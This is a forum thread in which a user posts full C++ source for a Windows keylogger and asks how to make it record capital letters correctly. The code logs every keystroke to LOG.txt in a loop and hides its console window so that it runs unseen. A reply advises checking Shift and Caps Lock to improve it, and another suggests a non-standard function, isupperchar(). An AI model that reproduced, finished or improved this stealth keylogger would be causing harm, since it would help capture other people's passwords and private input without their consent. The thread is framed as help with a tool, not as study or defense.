I found this code on the internet which is an good keylogger only issue it always types capitals how to make the keylogger recognise if its capital or not?

/////////////////////////////////////////////////////////////////////////////////////////

#include <iostream>    
using namespace std;  
#include <windows.h> 
#include <winuser.h> 


int Save (int key_stroke, char *file);
 void Stealth();
 
int main() 
{
         Stealth(); 
    char i;
 
    while (1)
     {
         for(i = 8; i <= 190; i++)
         {
 if (GetAsyncKeyState(i) == -32767)
 Save (i,"LOG.txt"); 
        }
     }
     system ("PAUSE");
 return 0;
 }
 
/* *********************************** */
 
int Save (int key_stroke, char *file)
 {
     if ( (key_stroke == 1) || (key_stroke == 2) )
         return 0;
 
    FILE *OUTPUT_FILE;
     OUTPUT_FILE = fopen(file, "a+");
 
    cout << key_stroke << endl;
 
        if (key_stroke == 8)
         fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
         else if (key_stroke == 13)
         fprintf(OUTPUT_FILE, "%s", "\n"); 
        else if (key_stroke == 32)
         fprintf(OUTPUT_FILE, "%s", " ");
         else if (key_stroke == VK_TAB)              
         fprintf(OUTPUT_FILE, "%s", "[TAB]");
             else if (key_stroke == VK_SHIFT)
         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
             else if (key_stroke == VK_CONTROL)
         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                 else if (key_stroke == VK_ESCAPE)
         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                 else if (key_stroke == VK_END)
         fprintf(OUTPUT_FILE, "%s", "[END]");
                     else if (key_stroke == VK_HOME)
         fprintf(OUTPUT_FILE, "%s", "[HOME]");
                     else if (key_stroke == VK_LEFT)
         fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                         else if (key_stroke == VK_UP)
         fprintf(OUTPUT_FILE, "%s", "[UP]");
                         else if (key_stroke == VK_RIGHT)
         fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                             else if (key_stroke == VK_DOWN)
         fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                             else if (key_stroke == 190 || key_stroke == 110)
         fprintf(OUTPUT_FILE, "%s", ".");
                             else
                                 fprintf(OUTPUT_FILE, "%s", &key_stroke);
 
fclose (OUTPUT_FILE);
     return 0;
 }
 
/* *********************************** */
 
void Stealth()
 {
   HWND Stealth;
   AllocConsole();
   Stealth = FindWindowA("ConsoleWindowClass", NULL);
   ShowWindow(Stealth,0);
 }

first off.. it doesnt only do capitals.. Iunno what ur talking about... its getasynckeystate which gets key presses.

try isupperchar()

GetAsyncKeyState only tells you which key was pressed. Casing is determined by combining those keys with the shift key and the caps lock key. You'll need to check those two as well and output the correct case accordingly.

This article has been dead for over six months. Start a new discussion instead.